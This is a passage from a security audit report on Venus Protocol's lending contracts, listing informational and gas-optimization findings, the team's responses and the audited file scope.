This behavior can be intentional and reflect a design where the Vault stream is a **balance-capped, best-effort emission** rather than a debt-like accrual. In such a model, the Comptroller does not promise more XVS than it holds, underfunding does not create backlog, and resetting `releaseStartBlock` avoids large catch-up distributions.

We raise this point to open the discussion and ensure the behavior is clearly understood and documented, as it may differ from intuitive expectations of continuous reward accrual. While the Comptroller currently holds a large XVS balance (~12M XVS, ~34M USD), making this not an active issue in practice, the behavior remains relevant from a design and specification perspective.

Recommendation

We kindly request that the client answer the following questions:

1. Is it intended that the VAI Vault rewards are non-cumulative and balance-capped, rather than accrued as a liability?
2. Should partial payments reset the accrual baseline, or should unpaid amounts be preserved?
3. Is there any governance or operational expectation ensuring the Comptroller remains sufficiently funded to match the configured rate?

Clarifying whether the Vault emission is meant to be a **target subsidy** or a **guaranteed accrual** would confirm whether this behavior is expected.

Alleviation

[Venus Labs, 05/29/2026]: Issue acknowledged. I won't make any changes for the current version.

The behavior is intentional, as rewards are subject to the availability of funds and are not guaranteed accruals.

(1) yes, vault rewards are balance-capped and non-cumulative by design;

(2) partial-payment baseline reset is intentional it prevents arbitrary deficits from compounding into large catch-up distributions when the Comptroller is later replenished

(3) governance ensures the Comptroller XVS balance covers the configured rate at the current emission cadence (live ~12M XVS balance reflects this), and underfunding is monitored and addressed via XVS top-up VIPs.

VLC-41 | Privileged Role Can Arbitrarily Confiscate Users' XVS Rewards

Category	Severity	Location	Status
Governance	Informational	contracts/Comptroller/Diamond/facets/RewardFacet.sol (core 3c4d06f): 143~144	Acknowledged

Description

Function `seizeVenus()` allows any account authorized by the access-control manager to seize XVS rewards from arbitrary users and transfer them to an arbitrary recipient. The function is not tied to the normal liquidation flow and is not conditioned on insolvency, blacklist status, or any other objective on-chain predicate. Because it calls `updateAndDistributeRewardsInternal(...)` first, it can capture both already-accrued rewards and rewards that are pending but not yet materialized in `venusAccrued`.

Recommendation

Please clarify the exact circumstances under which this function is expected to be used, including who is allowed to invoke it, against which users, and for which intended recipients. Any policy that can be precisely expressed, such as eligible target accounts, allowed recipients, or objective triggering conditions, should be enforced on-chain rather than left to off-chain discretion. If some constraints cannot be encoded on-chain, the protocol documentation should clearly explain the remaining trust assumptions and governance process around this function.

Alleviation

[Venus Labs, 05/29/2026]: Issue acknowledged. I won't make any changes for the current version.

The function is retained for emergency situations where a fraudulent account (or bad debtors) unexpectedly accrues XVS rewards. In such cases, it can only be executed through the governance-controlled Timelock addresses, which are granted the specific ACM permission required for this function.

VLC-43 | Market Freshness Assumptions

Category	Severity	Location	Status
Volatile Code, Design Issue	Informational	contracts/Lens/ComptrollerLens.sol (core 3c4d06f): 177~178	Acknowledged

Description

Throughout the protocol, account solvency and liquidation eligibility are evaluated through `getHypotheticalAccountLiquidity()`. However, this function does not itself ensure that all markets associated with the account have accrued interest recently before the position evaluation is performed.

In practice, the protocol relies heavily on economic incentives and external operational activity to maintain acceptable market freshness. Suppliers, liquidators, and arbitrageurs are generally incentivized to interact with active markets frequently, which indirectly causes `accrueInterest()` to be executed on a regular basis. Liquidators in particular benefit from keeping markets updated when monitoring positions approaching liquidation thresholds.

Nevertheless, this mechanism remains largely incentive-driven and off-chain in nature. Less active or illiquid markets may experience significantly lower interaction frequency, potentially causing interest accrual and exchange-rate updates to become stale for extended periods. Borrowers may not always share aligned incentives regarding rapid market refreshes, particularly when accrued interest or liquidation proximity is involved. More generally, while economically interested actors are generally expected to maintain sufficient market activity, some situations may arise where delaying the refresh of a stale market becomes temporarily advantageous for certain participants.

In particular, prolonged staleness may amplify market stress and create discontinuous liquidation dynamics once accounting is eventually refreshed. A sufficiently stale market containing a large number of leveraged positions could theoretically experience abrupt solvency deterioration following a delayed `accrueInterest()` execution, especially during periods of volatility or reduced liquidity. Under some circumstances, economically aggressive liquidators could have incentives to closely monitor stale markets and strategically delay refreshes until conditions become more favorable, e.g., to leverage a liquidation cascade and a market disruption.

The March 2026 incident notably highlighted the importance of active monitoring and operational responsiveness across all pools and markets. More generally, the protocol's freshness assumptions implicitly rely on the expectation that economically interested actors will continuously interact with and maintain the markets. While this assumption is generally reasonable for sufficiently active markets, it may become weaker for less active pools or in situations where some actors have aligned incentives to temporarily avoid refreshing specific markets. As such, operational monitoring infrastructure and automated keeper/bot systems may constitute one of the primary mitigations against stale-market-related risks.

Additionally, while such a mechanism would introduce additional gas costs and operational complexity, the protocol could theoretically consider stronger cross-market freshness guarantees. For example, certain sensitive operations performed on a fresh market could conditionally trigger `accrueInterest()` on another sufficiently stale market. Such an approach would however, require a robust and manipulation-resistant update ordering policy in order to avoid unfair market selection, transaction contention, or other undesirable concurrency-related effects.

Recommendation

For completeness of the review, please clarify whether the Venus team currently maintains dedicated monitoring infrastructure and/or automated keeper systems to ensure that all markets periodically execute `accrueInterest()`, including less active pools.

Additionally, please clarify whether internal operational thresholds or alerts exist for detecting excessively stale markets, and whether any further mitigations or design considerations regarding cross-market freshness dependencies have been evaluated internally.

Depending on the response, the review notes may be updated accordingly.

Alleviation

[Venus Labs, 05/29/2026]: Issue acknowledged. I won't make any changes for the current version.

Moving forward, we have a scheduled cron job that keeps the markets fresh by triggering interest accrual every two weeks, ensuring the market state remains up to date even during periods of low activity.

VLC-44 Oracle Outages Apply The Same Exit/Redeem Restriction Across Users With Different Risk Profiles

Category	Severity	Location	Status
Design Issue	Informational	contracts/Comptroller/Diamond/facets/FacetBase.sol (core 3 c4d06f): 221~223	Acknowledged

Description

In `FacetBase.redeemAllowedInternal()`, the Comptroller may call `getHypotheticalAccountLiquidityInternal()`. That check requires nonzero oracle prices for all entered markets. If any entered market returns a zero price, the action can fail with `PRICE_ERROR`.

This behavior is conservative and appropriate for users with active borrow exposure, because the protocol cannot safely determine whether collateral removal would leave the account undercollateralized.

However, the same restriction also applies to lower-risk cases:

- users with supplied collateral but no borrow, where allowing withdrawal may be debatable depending on the protocol's risk policy;
- users with no supply and no borrow in the affected market, where there is no direct solvency reason.

For zero-exposure market memberships, the restriction can trap users in an entered market and cause future unrelated liquidity checks to continue failing during the oracle outage. This may be an intentional conservative design choice, but it creates avoidable liveness friction for accounts that do not depend on the unpriced market for solvency.

Recommendation

We recommend clarifying the intended policy for Oracle outages across different user risk profiles. If the goal is strict conservatism, document that any entered unpriced market may block exits, redemptions, and transfers until pricing is restored.

If more granular behavior is desired, allow zero-exposure exits in the safer cases.

Alleviation

[Venus Labs, 05/29/2026]: Issue acknowledged. I won't make any changes for the current version.

The Venus Oracle is expected to function correctly for all listed assets, as this is a fundamental requirement for the protocol to operate safely. Taking this into account, it is intended behavior to restrict as many protocol operations as possible whenever an asset price is not functioning properly. In such situations, the team would take immediate action to investigate and resolve the issue. However, such incidents are highly unlikely, as Venus uses a resilient oracle architecture with multiple safeguards and fallback mechanisms.

VLC-45 Ownership Initializer Correctness Depends On OpenZeppelin Version Semantics

Category	Severity	Location	Status
Language Version	Informational	contracts/Liquidator/BUSDLiquidator.sol (core 3c4d06f): 63~64	Acknowledged

Description

`BUSDLiquidator.initialize()` calls `__Ownable2Step_init()` and does not explicitly call `__Ownable_init()` function.

Under the currently used OpenZeppelin v4 upgradeable version, this initializer chain correctly initializes ownership. However, this pattern is version-sensitive. OpenZeppelin initializer semantics have changed, and in versions v5 and above, ownership initialization requires an explicit `__Ownable_init(initialOwner)` call to prevent the contract from being ownerless.

Because `BUSDLiquidator` relies on `onlyOwner` functions, future dependency upgrades or refactors could silently change initializer behavior and leave ownership unset or incorrectly assigned if the initializer chain is not revalidated.

Recommendation

We recommend documenting the OpenZeppelin version assumption for `__Ownable2Step_init()` and verify the initializer chain during dependency upgrades. we also recommend using OpenZeppelin's plugin for upgrade validation to detect missing initializers. If migrating to a newer OZ version, update the initializer to the version's explicit ownership initialization pattern.

Alleviation

[Venus Labs, 05/29/2026]: Issue acknowledged. I won't make any changes for the current version.

BUSDLiquidator is no longer used and has already been deprecated.

VLC-46 VBNB Appears Incompatible With Flash Loans But Does Not Explicitly Block Flash-Loan Functions

Category	Severity	Location	Status
Logical Issue, Volatile Code	Informational	contracts/Tokens/VTokens/VBNB.sol (core 3c4d06f): 14~15	Acknowledged

Description

`VBNB` inherits the generic flash-loan functionality from `VToken`, including flash-loan enablement and repayment helpers. The Comptroller's `FlashLoanFacet` also accepts generic `VToken[]` inputs and only checks whether the market is listed and `isFlashLoanEnabled()` is true.

However, `VBNB` uses native BNB transfer semantics rather than BEP20 transfer semantics. Its `doTransferIn()` requires the caller to be the sender and requires the expected amount to be provided as `msg.value`. This is incompatible with the generic flash-loan repayment path, which attempts to settle repayment through a non-payable pull-style call from the Comptroller/Diamond context.

This issue is currently neutralized by configuration alone: `isFlashLoanEnabled()` is never set to `true` on `VBNB`, so the broken repayment path is unreachable in practice — but nothing in the contract prevents a future governance action from flipping that flag and exposing the incompatibility.

If, as it appears intended, native BNB flash loans are not meant to be supported (since enabling them would require a substantial redesigning of the repayment flow to accommodate a push-only semantics), the current code does not make that boundary explicit, as the related `VToken` flash-loan functions are not overridden in `VBNB`.

Recommendation

We recommend that the client:

1. **Document the boundary.** Add NatSpec on `VBNB` (and on `FlashLoanFacet.executeFlashLoan`) stating that native-token markets are not supported by the flash-loan flow, and ensure governance never enables `flashLoanEnabled` on `VBNB`.
2. **Override and revert explicitly.** Have VBNB override `transferOutUnderlyingFlashLoan()` and `transferInUnderlyingFlashLoan()` (and possibly `setFlashLoanEnabled()`) to revert. Fail-fast at the source instead of relying on the governance flag being off, and document the reason.

Alleviation

[Venus Labs, 05/29/2026]: Issue acknowledged. I won't make any changes for the current version.

Flash loans are only whitelisted to protocol-level contracts such as the Levered Position Manager and the Position Swapper. These contracts already clearly document that vBNB is not supported, primarily because the vBNB contract is non-

upgradeable.

VLC-47 `updateAssetPrice()` Success Does Not Guarantee Correlated-Oracle Snapshot Advancement

Category	Severity	Location	Status
Coding Issue	Informational	contracts/ResilientOracle.sol (oracle): 340~353; contracts/oracles/common/CorrelatedTokenOracle.sol (oracle): 187~201, 211~224	Resolved

Description

In `oracle-develop/contracts/ResilientOracle.sol`, `ResilientOracle._updateAssetPrice()` attempts to refresh the configured main oracle by calling `ICappedOracle(mainOracle).updateSnapshot()` inside a blanket empty `try/catch`. If caching is enabled for the asset, the function may then continue into `_getPrice()` and transient caching regardless of whether that snapshot call actually performed a refresh.

This behavior is especially relevant for the in-repo `CorrelatedTokenOracle` flow. In `oracle-develop/contracts/oracles/common/CorrelatedTokenOracle.sol`, `updateSnapshot()` first updates snapshot state and then calls `RESILIENT_ORACLE.updateAssetPrice(UNDERLYING_TOKEN)`. If that nested underlying refresh reverts, the correlated-oracle snapshot update is rolled back in that call frame. However, the outer `ResilientOracle._updateAssetPrice()` call suppresses the revert and may still return success, leaving the caller unable to distinguish between a successful snapshot refresh and a failed one.

More broadly, `updateAssetPrice()` already does not guarantee that a correlated-oracle snapshot actually advanced, because `CorrelatedTokenOracle.updateSnapshot()` is also a no-op when `snapshotInterval == 0` or when the required interval has not yet elapsed. As a result, unsupported-interface reverts, benign no-op snapshot calls, and genuine correlated-oracle refresh failures can all collapse into the same externally successful surface.

The practical effect is conservative rather than inflationary. `CorrelatedTokenOracle.getPrice()` caps the exchange rate using `min(exchangeRate, maxAllowedExchangeRate)`, so retaining an older snapshot keeps the same price or a lower one. The main concern is therefore semantic ambiguity: callers and operators may observe a successful `updateAssetPrice()` call even though no correlated-oracle snapshot advance actually occurred.

Recommendation

We recommend clarifying the intended semantics of `updateAssetPrice()` in the `oracle-develop/` implementation, particularly whether a successful return is expected to imply that a capped-oracle snapshot was actually refreshed. If that guarantee is not intended, documenting that behavior would reduce ambiguity for integrators and operators. If a stronger guarantee is intended, consider distinguishing benign unsupported-interface or no-op cases from genuine correlated-oracle refresh failures so that real refresh errors are not silently collapsed into the same success path.

Alleviation

[CertiK Labs, 06/01/2026]: The team heeded the advice and resolved the issue by explicitly documenting that `_updateAssetPrice()` performs only a best-effort capped-oracle snapshot refresh and may return successfully even when

`updateSnapshot()` is skipped or its revert is intentionally ignored, in commit 165b7c588bf4a960c508a29c38c6a38d1afd0149.

VLC-52 Ambiguous `minPrice` / `maxPrice` Naming Conflates The Distinct Collateral And Debt Prices In `DeviationBoundedOracle`

Category	Severity	Location	Status
Coding Style	Informational	oracle-165b7c588bf4a960c508a29c38c6a38d1afd0149/contracts/DeviationBoundedOracle.sol (Update 1 06_01_2026): 745~746	Acknowledged

Description

Five internal helpers in DeviationBoundedOracle name their resolved output values `minPrice` / `maxPrice`, but these are not the minimum and maximum of a single quantity — they are two distinct valuations clamped in opposite directions: the collateral price (`min(spot, windowMin)`) and the debt price (`max(spot, windowMax)`). The naming describes the clamping operation rather than the quantity, and is inconsistent with the contract's own public getters (`getBoundedCollateralPrice()` / `getBoundedDebtPrice()`) and cache slots (`COLLATERAL_PRICE_CACHE_SLOT` / `DEBT_PRICE_CACHE_SLOT`), which already use collateral/debt terminology. (The `min` / `max` naming is correct and should be kept for the genuine rolling-window bounds such as `state.minPrice` / `state.maxPrice`, which truly are the minimum and maximum of one quantity, the asset price.) No caller currently transposes the resolved tuple, so there is no functional impact today; the concern is that this ambiguous, self-inconsistent naming is exactly the kind that causes future maintainers to err — a developer extending or refactoring the code can read `minPrice` as "the lower price bound" and wire collateral and debt the wrong way round, silently inverting the protection into a serious mispricing bug that still compiles and passes superficial review.

Recommendation

We recommend that the client name each variable for the quantity it represents rather than the operation used to derive it:

1. Rename the **output values** currently called `minPrice`/`maxPrice` — the returns of `_resolveBoundedPrices()`, `_updateAndGetBoundedPrices()`, `_computeBoundedPrices()` and `_getCachedPrices()`, and the **inputs** of `_setCachedPrices()` — to **`collateralPrice`/`debtPrice`**, matching the public getters and the storage-slot constants.
2. Likeiwse, in `_resolveBoundedPrices()`, rename the window-bound parameters into **`maxCollateralPrice`** (the collateral cap) and **`minDebtPrice`** (the debt floor) — so the body reads `collateral = min(spot, maxCollateralPrice)` and `debt = max(spot, minDebtPrice)`.
3. **Leave the genuine rolling-window bounds** (`state.minPrice`/`state.maxPrice` and the related window locals) as `min`/`max`, since those are the minimum and maximum of a *single* quantity.

Alleviation

[Venus Labs, 06/10/2026]: Issue acknowledged. I won't make any changes for the current version.

The contract has already been audited, and we would prefer not to make changes to it at this point. That said, we do acknowledge the finding and agree that the improvement makes sense. We can address it the next time this codebase is

touched for functional changes.

VLC-53 Missing On-Chain `liquidationThreshold × liquidationIncentive < 1` Invariant

Category	Severity	Location	Status
Volatile Code	Informational	venus-protocol-2f3c0cdb884e60dcaab240f56d764e4d839de6a3/contracts/Comptroller/Diamond/facets/SetterFacet.sol (Update 1 06_01_2026): 855~856, 925~926	Resolved

Description

Neither `__setCollateralFactor()` nor `__setLiquidationIncentive()` checks that `liquidationThresholdMantissa * liquidationIncentiveMantissa < 1e18`. Governance can thus configure a market where the product `>= 1`, in which liquidations stop reducing the shortfall (`ΔS = r·(LT·LI − 1) ≥ 0`) and can drain collateral while leaving residual debt. While it should not arise in the core pool under realistic parameters (moderate LT keeps the product well below 1), it is realistically reachable only in **eMode**, where LT is raised to 0.95+ and a normal incentive (1.05–1.10) crosses the threshold.

Recommendation

We recommend that the client enforce `LT × liquidationIncentive < 1e18` in both setters (for all pools), reverting unsafe combinations.

Alleviation

[CertiK, 06/10/2026]: The team heeded the advice and resolved the issue by adding a validation step that prevents unsafe liquidation parameter combinations from being configured, in commit e05a557bc1654eba2db0d4d123cc39665fbf72825044a85899fccdd6af2964bd.

VLC-54 Diamond's `addFunctions()` Does Not Reject Selectors That Collide With Proxy/Immutable Functions

Category	Severity	Location	Status
Volatile Code	Informational	venus-protocol-2f3c0cdb884e60dcaab240f56d764e4d839de6a3/contracts/Comptroller/Diamond/Diamond.sol (Update 1 06_01_2026): 120~121	Acknowledged

Description

`addFunctions()` checks only `_selectorToFacetAndPosition`, so it accepts a facet selector that collides with one of the 11 selectors resolved before `fallback()` — the four `Unitroller` admin functions and the seven immutable `Diamond` functions (`_become()`, `diamondCut()`, `facetFunctionSelectors()`, `facetPosition()`, `facetAddresses()`, `facetAddress()`, `facets()`); the cut then updates the loupe and emits `DiamondCut` while calls keep hitting the proxy/immutable code and never reach the facet. Impact is negligible — governance-only, no attacker path, and the sole unintended trigger (an accidental 4-byte collision) would surface in deployment testing — and it is pre-existing behaviour, previously raised as OpenZeppelin **L-05** (Low).

Recommendation

We recommend that the client reject the 11 reserved selectors in `addFunctions()` via an explicit denylist (or move the immutable `Diamond` functions into a facet so the existing check catches them).

Alleviation

[Venus Labs, 06/10/2026]: Issue acknowledged. I won't make any changes for the current version.

Since this is governance-controlled, we would never intentionally add any of these selectors. Even in the unlikely case that one is added accidentally due to a selector collision, there is no real impact beyond the facet function becoming unreachable, which should be caught during deployment testing.

OPTIMIZATIONS | VENUS LABS - CORE FEATURE REAUDIT

ID	Title	Category	Severity	Status
VLC-36	Inconsistent No-Op Short-Circuit On Setter State Updates	Gas Optimization, Inconsistency	Optimization	Acknowledged
VLC-37	Reward-Index Guards In `_initializeMarket()` Are Dead Code	Code Optimization	Optimization	Acknowledged

VLC-36 | Inconsistent No-Op Short-Circuit On Setter State Updates

Category	Severity	Location	Status
Gas Optimization, Inconsistency	Optimization	contracts/Comptroller/Diamond/facets/SetterFacet.sol (core): 357~358	Acknowledged

Description

`_setProtocolPaused()` writes to storage and emits an event unconditionally, even when the new value equals the current `protocolPaused` value. In such cases the operation performs a redundant SSTORE and emits a misleading state-change event. The gas overhead per call is small, but the pattern is also inconsistent with other governance setters that already short-circuit when the new value matches the current state, skipping both the storage write and the event.

Setters that already implement the no-op short-circuit:

- `setFlashLoanPaused(paused)` in `SetterFacet`
- `setWhiteListFlashLoanAccount(account, isWhiteListed)` in `SetterFacet`
- `setPoolActive(poolId, active)` in `SetterFacet`
- `setAllowCorePoolFallback(poolId, allowFallback)` in `SetterFacet`
- `setFlashLoanEnabled(enabled)` in `VToken`

Simple flag/address/scalar setters that write unconditionally and exhibit the same redundancy:

`SetterFacet`:

- `_setProtocolPaused(state)`
- `_setForcedLiquidation(vTokenBorrowed, enable)` (via `__setForcedLiquidation()`)
- `_setForcedLiquidationForUser(borrower, vTokenBorrowed, enable)`
- `_setPauseGuardian(newPauseGuardian)`
- `_setLiquidatorContract(newLiquidatorContract)`
- `_setAccessControl(newAccessControlAddress)`
- `_setComptrollerLens(comptrollerLens)`
- `_setXVSToken(xvs)` / `_setXVSVToken(xvsVToken)`
- `_setVAIController(vaiController)`
- `_setVAIMintRate(newVAIMintRate)`
- `_setVenusVAIVaultRate(venusVAIVaultRate)`

`VToken` family:

- `_setPendingAdmin(newPendingAdmin)`
- `setAccessControlManager(newAccessControlManagerAddress)`

- `setReduceReservesBlockDelta(newReduceReservesBlockDelta)`
- `setProtocolShareReserve(protocolShareReserve)`
- `setFlashLoanFeeMantissa(newSupplyFeeMantissa, newBorrowFeeMantissa)`
- `_setComptroller(newComptroller)`

`Liquidator` / `BUSDLiquidator`:

- `setTreasuryPercent(newTreasuryPercentMantissa)`
- `setMinLiquidatableVAI(minLiquidatableVAI)`
- `setPendingRedeemChunkLength(pendingRedeemChunkLength)`
- `setLiquidatorShare(liquidatorShareMantissa)`

`VBNBAdmin`:

- `setProtocolShareReserve(protocolShareReserve)`

Periphery:

- `setBackendSigner(newSigner)` in `SwapHelper`
- `setTrustedKeeper(keeper, isTrusted)` in `DeviationSentinel`
- `setTokenMonitoringEnabled(token, enabled)` in `DeviationSentinel`

Oracle:

- `setOracle(asset, oracle)` in `ReferenceOracle`
- `setMaxStalePeriod(symbol, maxStalePeriod)` in `BinanceOracle`
- `setSymbolOverride(symbol, override_)` in `BinanceOracle`
- `setFeedRegistryAddress(newRegistry)` in `BinanceOracle`
- `setMaxAllowedPriceDifference(maxAllowedPriceDifference)` in `SFrxETHOracle`
- `setSnapshotGap(snapshotGap)` in `CorrelatedTokenOracle`

Other setters in scope write multi-field configuration or have semantics where re-writing the same value can be intentional (e.g. a deliberate refresh, reset, or override). For these, the no-op short-circuit is more awkward to implement and is not always desirable; examples include `setTokenConfig(TokenConfig)` in `ResilientOracle` and `ChainlinkOracle`, `setDirectPrice(token, price)` in `ChainlinkOracle` and `SentinelOracle`, `setSnapshot(snapshotMaxExchangeRate, snapshotTimestamp)` and `setGrowthRate(annualGrowthRate, snapshotInterval)` in `CorrelatedTokenOracle`, `_setTreasuryData(treasuryGuardian, treasuryAddress, treasuryPercent)` in `SetterFacet`, and `setPoolConfig(token, pool)` in `PancakeSwapOracle` / `UniswapOracle`. These are listed here for context and are not flagged.

Recommendation

We recommend the client consider applying the no-op short-circuit pattern consistently across the simple-value setters above, bringing them in line with the precedent already set by `setFlashLoanPaused()` and its siblings. **The change is**

purely a gas and event-hygiene improvement with no correctness impact and can be applied incrementally. The client is best placed to judge which setters benefit from the pattern and which should be left as-is — the lists above are starting points rather than mandates.

Alleviation

[Venus Labs, 05/29/2026]: Issue acknowledged. I won't make any changes for the current version.

The changes are proposed through the governance VIP process and are simulated against a forked network, where both the pre- and post-state are thoroughly validated. As a result, it is extremely unlikely that the same state would be proposed again. However, we will continue to optimize this incrementally over time.

VLC-37 Reward-Index Guards In `_initializeMarket()` Are Dead Code

Category	Severity	Location	Status
Code Optimization	Optimization	contracts/Comptroller/Diamond/facets/MarketFacet.sol (core 3c4d06f): 654~662	Acknowledged

Description

In `_initializeMarket()`, the checks that initialize `supplyState.index` and `borrowState.index` only when they are zero are effectively dead code in the current implementation. This function is only called from the Core Pool market-support path, where the market is being supported for the first time (specifically, `_initializeMarket()` occurs only in `__supportMarket()`, just after a call to `_addMarketInternal()`). In that flow, both indices should still be zero, so both branches are always taken. Re-supporting an unlisted market does not make the condition meaningful either, because `unlistMarket()` does not remove the market from `allMarkets`, and a later `__supportMarket(vToken)` attempt reverts on `_addMarketInternal(vToken)` before reaching `_initializeMarket(vToken)`. As a result, the conditions do not change behavior and only make the code harder to reason about.

Recommendation

If the intended behavior is first-time initialization only, consider removing these checks and assigning the initial index unconditionally. If you do, add a comment explaining that this relies on `_initializeMarket()` being reachable only through the first-support flow in the current design, so that a future update does not silently break this assumption.

Alleviation

[Venus Labs, 05/29/2026]: Issue acknowledged. I won't make any changes for the current version.

The behavior originates from the Compound fork design, and we prefer to keep these checks as they are. While the conditions currently behave as dead code in the existing flow, retaining them preserves additional safety and flexibility for potential future upgrades, such as supporting the secure re-listing of previously unlisted markets through an upgraded flow.

APPENDIX | VENUS LABS - CORE FEATURE REAUDIT

Audit Scope

VenusProtocol/oracle
contracts/oracles/common/CorrelatedTokenOracle.sol
contracts/oracles/BinanceOracle.sol
contracts/oracles/ChainlinkOracle.sol
contracts/oracles/StableUsdtPriceFeed.sol
contracts/oracles/WstETHOracle.sol
contracts/oracles/WstETHOracleV2.sol
contracts/oracles/OneJumpOracle.sol
contracts/ResilientOracle.sol
contracts/oracles/AnkrBNBOracle.sol
contracts/oracles/AsBNBOracle.sol
contracts/oracles/BNBxOracle.sol
contracts/oracles/BoundValidator.sol
contracts/oracles/ERC4626Oracle.sol
contracts/oracles/EtherfiAccountantOracle.sol
contracts/oracles/PendleOracle.sol
contracts/oracles/SFraxOracle.sol
contracts/oracles/SFrxETHOracle.sol
contracts/oracles/SequencerChainlinkOracle.sol
contracts/oracles/SlisBNBOracle.sol

VenusProtocol/oracle
contracts/oracles/StkBNBOracle.sol
contracts/oracles/WBETHOracle.sol
contracts/oracles/WeETHAccountantOracle.sol
contracts/oracles/WeETHOracle.sol
contracts/oracles/ZkETHOracle.sol
contracts/interfaces/FeedRegistryInterface.sol
contracts/interfaces/IAccountant.sol
contracts/interfaces/IAnkrBNB.sol
contracts/interfaces/IAsBNB.sol
contracts/interfaces/IAsBNBMinter.sol
contracts/interfaces/ICappedOracle.sol
contracts/interfaces/IERC4626.sol
contracts/interfaces/IEtherFiLiquidityPool.sol
contracts/interfaces/IPStakePool.sol
contracts/interfaces/IPendlePtOracle.sol
contracts/interfaces/ISFrax.sol
contracts/interfaces/ISfrxEthFraxOracle.sol
contracts/interfaces/IStETH.sol
contracts/interfaces/IStaderStakeManager.sol
contracts/interfaces/ISynclubStakeManager.sol
contracts/interfaces/IWBETH.sol
contracts/interfaces/IZkETH.sol

VenusProtocol/oracle

- contracts/interfaces/OracleInterface.sol
- contracts/interfaces/PublicResolverInterface.sol
- contracts/interfaces/SIDRegistryInterface.sol
- contracts/interfaces/VBep20Interface.sol
- contracts/ReferenceOracle.sol

VenusProtocol/venus-periphery

- contracts/SwapHelper/SwapHelper.sol
- contracts/LeverageManager/LeverageStrategiesManager.sol
- contracts/SwapRouter/SwapRouter.sol
- contracts/DeviationSentinel/Oracles/PancakeSwapOracle.sol
- contracts/DeviationSentinel/Oracles/SentinelOracle.sol
- contracts/DeviationSentinel/Oracles/UniswapOracle.sol
- contracts/DeviationSentinel/DeviationSentinel.sol
- contracts/LeverageManager/ILeverageStrategiesManager.sol
- contracts/SwapRouter/ISwapRouter.sol
- contracts/Libraries/FixedPoint96.sol
- contracts/Libraries/FullMath.sol

CertiKProject/certik-audit-projects

- contracts/Comptroller/Diamond/facets/FacetBase.sol
- contracts/Comptroller/Diamond/facets/MarketFacet.sol
- contracts/Comptroller/Diamond/facets/PolicyFacet.sol

CertiKProject/certik-audit-projects
contracts/Comptroller/Diamond/facets/RewardFacet.sol
contracts/Comptroller/Diamond/facets/SetterFacet.sol
contracts/Comptroller/Diamond/facets/XVSRewardsHelper.sol
contracts/Comptroller/ComptrollerStorage.sol
contracts/Liquidator/BUSDLiquidator.sol
contracts/Liquidator/Liquidator.sol
contracts/Lens/ComptrollerLens.sol
contracts/Tokens/VTokens/VBNB.sol
contracts/Tokens/VTokens/VToken.sol
venus-periphery-39c849c88dcd9432d234afc2f87dcca75a1eba38/contracts/DeviationSentinel/DeviationSentinel.sol
contracts/Lens/SnapshotLens.sol
contracts/Lens/VenusLens.sol
contracts/Tokens/VTokens/VBep20.sol
contracts/Comptroller/Diamond/facets/FlashLoanFacet.sol
contracts/Comptroller/Diamond/interfaces/IDiamondCut.sol
contracts/Comptroller/Diamond/interfaces/IFacetBase.sol
contracts/Comptroller/Diamond/interfaces/IFlashLoanFacet.sol
contracts/Comptroller/Diamond/interfaces/IMarketFacet.sol
contracts/Comptroller/Diamond/interfaces/IPolicyFacet.sol
contracts/Comptroller/Diamond/interfaces/IRewardFacet.sol
contracts/Comptroller/Diamond/interfaces/ISetterFacet.sol

CertiKProject/certik-audit-projects
contracts/Comptroller/Diamond/Diamond.sol
contracts/Comptroller/Types/PoolMarketId.sol
contracts/Comptroller/ComptrollerInterface.sol
contracts/Comptroller/ComptrollerLensInterface.sol
contracts/Comptroller/Unitroller.sol
contracts/Liquidator/LiquidatorStorage.sol
contracts/Tokens/VTokens/VBep20Delegate.sol
contracts/Tokens/VTokens/VBep20Delegator.sol
contracts/Tokens/VTokens/VTokenInterfaces.sol
contracts/Tokens/VTokens/VBep20Immutable.sol
contracts/Admin/VBNBAdmin.sol
contracts/Admin/VBNBAdminStorage.sol
oracle-ddbf66dd953a944d1937733c1eed7096c1db8183/contracts/DeviationBoundedOracle.sol
oracle-ddbf66dd953a944d1937733c1eed7096c1db8183/contracts/ReferenceOracle.sol
oracle-ddbf66dd953a944d1937733c1eed7096c1db8183/contracts/ResilientOracle.sol
venus-periphery-39c849c88dcd9432d234afc2f87dcca75a1eba38/contracts/DeviationSentinel/Oracles/AerodromeSlipstreamOracle.sol
venus-periphery-39c849c88dcd9432d234afc2f87dcca75a1eba38/contracts/DeviationSentinel/Oracles/CurveOracle.sol
venus-periphery-39c849c88dcd9432d234afc2f87dcca75a1eba38/contracts/DeviationSentinel/Oracles/PancakeSwapOracle.sol
venus-periphery-39c849c88dcd9432d234afc2f87dcca75a1eba38/contracts/DeviationSentinel/Oracles/SentinelOracle.sol

CertiKProject/certik-audit-projects
venus-periphery-39c849c88dcd9432d234afc2f87dcca75a1eba38/contracts/DeviationSentinel/Oracles/UniswapOracle.sol
venus-periphery-39c849c88dcd9432d234afc2f87dcca75a1eba38/contracts/EmergencyBrake/EBrake.sol
venus-periphery-39c849c88dcd9432d234afc2f87dcca75a1eba38/contracts/EmergencyBrake/IEBrake.sol
venus-periphery-39c849c88dcd9432d234afc2f87dcca75a1eba38/contracts/Executor/Executor.sol
venus-periphery-39c849c88dcd9432d234afc2f87dcca75a1eba38/contracts/Executor/IExecutor.sol
venus-periphery-39c849c88dcd9432d234afc2f87dcca75a1eba38/contracts/RelativePositionManager/IPositionAccount.sol
venus-periphery-39c849c88dcd9432d234afc2f87dcca75a1eba38/contracts/RelativePositionManager/IRelativePositionManager.sol
venus-periphery-39c849c88dcd9432d234afc2f87dcca75a1eba38/contracts/RelativePositionManager/PositionAccount.sol
venus-periphery-39c849c88dcd9432d234afc2f87dcca75a1eba38/contracts/RelativePositionManager/RelativePositionManager.sol

Finding Categories

Categories	Description
Centralization	Centralization findings detail the design choices of designating privileged roles or other centralized controls over the code.
Design Issue	Design Issue findings indicate general issues at the design level beyond program logic that are not covered by other finding categories.
Governance	Governance findings indicate issues related to the management of the code.
Financial Manipulation	Financial Manipulation findings indicate issues in design that may lead to financial losses.
Logical Issue	Logical Issue findings indicate general implementation issues related to the program logic.
Volatile Code	Volatile Code findings refer to segments of code that behave unexpectedly on certain edge cases and may result in vulnerabilities.

Categories	Description
Coding Issue	Coding Issue findings are about general code quality including, but not limited to, coding mistakes, compile errors, and performance issues.
Inconsistency	Inconsistency findings refer to different parts of code that are not consistent or code that does not behave according to its specification.
Incorrect Calculation	Incorrect Calculation findings are about issues in numeric computation such as rounding errors, overflows, out-of-bounds and any computation that is not intended.
Denial of Service	Denial of Service findings indicate that an attacker may prevent the program from operating correctly or responding to legitimate requests.
